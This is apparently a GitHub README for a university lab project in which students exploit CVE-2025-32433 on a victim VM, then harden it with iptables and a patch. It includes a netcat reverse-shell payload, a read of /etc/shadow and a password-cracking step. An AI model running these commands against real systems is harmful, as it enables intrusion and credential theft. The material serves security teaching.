dampedcoast/Exploiting-a-vulnerability-using-reverse-shell
GitHub: dampedcoast/Exploiting-a-vulnerability-using-reverse-shell
一个信息安全教学项目,在双虚拟机环境中模拟针对 Erlang/OTP SSH 预认证 RCE 漏洞(CVE-2025-32433)的完整攻防演练。
Stars: 0 | Forks: 0
# 信息安全基础 — 2026年春季项目
**总分:** 20 | **截止日期:** 不接受逾期提交
## 概述
本项目模拟了一个跨两台虚拟机的真实攻防场景。你将利用 Erlang/OTP SSH 服务器中的一个严重的预认证 RCE 漏洞 (CVE-2025-32433),破解提取出的密码哈希,然后使用防火墙规则和补丁对受害机器进行加固。
| 角色 | 操作系统 |
|----------|----------------------------------------|
| 攻击者 | Kali Linux |
| 受害者 | Ubuntu/Debian (Erlang/OTP SSH v27.3.2) |
## 文件
| 文件 | 描述 |
|------|-------------|
| `Debian-1.ova` | 预构建的受害 VM 镜像 — **请单独下载,参见[资源](#resources)**(文件过大,不适用于 GitHub) |
| `Project Spring 2026 - Google Docs.pdf` | 包含交付物的完整项目说明 |
| `rockyou_txt.txt` | 与 John the Ripper 配合使用以破解提取出的密码哈希的字典 |
## 资源
- **受害 VM (`Debian-1.ova`)**:[下载链接](PASTE_VM_LINK_HERE) — 文件过大(约 3GB),无法托管在 GitHub 上。请单独下载并按照下文说明导入 VirtualBox/VMware。
- **字典 (`rockyou_txt.txt`)**:包含在此存储库中,用于第 2 部分的密码破解步骤。
## 设置
1. **导入 VM** — 将 `Debian-1.ova` 和你的 Kali Linux VM 载入 VirtualBox/VMware。
2. **网络** — 将两台 VM 都设置为 **Host-Only Adapter**,以便它们能进行私有通信。
3. **受害者 IP** — 启动受害机器并运行 `ifconfig` 来查找其 IP(通常在 `192.168.56.0/24` 范围内)。
## 第 1 部分 — 易受攻击的 SSH 服务器部署与利用(10 分)
### 侦察
```
nmap -p 2222 -sV -A
```
记录开放的端口、服务版本和 Erlang 特征。
### 利用 CVE-2025-32433(预认证 RCE)
```
git clone https://github.com/ProDefense/CVE-2025-32433.git
cd CVE-2025-32433
sudo nano CVE-2025-32433.py
```
编辑脚本 — 设置 `HOST = ""` 并更新 payload:
```
command='os:cmd("nc -e /bin/bash 4444").'
```
**终端 1 (Kali)** — 启动监听器:
```
nc -lvnp 4444
```
**终端 2 (Kali)** — 启动 exploit:
```
python3 CVE-2025-32433.py
```
在 reverse shell 中,运行 `whoami` 和 `hostname` 以确认访问权限。
## 第 2 部分 — 后渗透与密码破解(5 分)
### 提取并破解哈希
```
# 在受害者上(通过 reverse shell)
cat /etc/shadow | grep testuser > hash.txt
# 在 Kali 上
john --wordlist=rockyou_txt.txt hash.txt
```
记录哈希格式(例如,`$6$` = SHA-512)、花费的时间以及恢复的明文密码。
### 查找 Flag
```
find / -iname "flag.txt" 2>/dev/null
cat /path/to/flag.txt
```
## 第 3 部分 — 防控与修复(5 分)
### 阻断攻击途径 (iptables)
```
sudo iptables -A INPUT -p tcp --dport 2222 -j DROP
```
从 Kali 重新运行 Nmap 扫描和 exploit — 记录端口 2222 现在为 "Filtered"(已过滤)状态且 exploit 失败。
### 修补漏洞
记录将 Erlang/OTP 升级到 **v27.3.3 或更高版本**的步骤,该版本包含对 CVE-2025-32433 的修复。
## 交付物
- 包含以下内容截图的完整报告:扫描、exploit 执行、reverse shell(`whoami`/`hostname`)、flag 捕获
- 防火墙前后的文档(显示端口状态变化的 Nmap 结果)
- 书面反思,解释为什么预认证 RCE 比认证后 exploit 危险得多
## CVE 参考
**CVE-2025-32433** — Erlang/OTP SSH 服务器中的严重预认证远程代码执行。通过在没有任何凭据交换之前发送格式错误的 SSH 数据包即可利用,赋予未经身份验证的攻击者完整的 shell 访问权限。
标签:CTI, DOS头擦除, XXE攻击, 威胁模拟, 安全教育, 密码破解, 插件系统, 系统加固, 网络安全, 虚拟机环境, 逆向工具, 隐私保护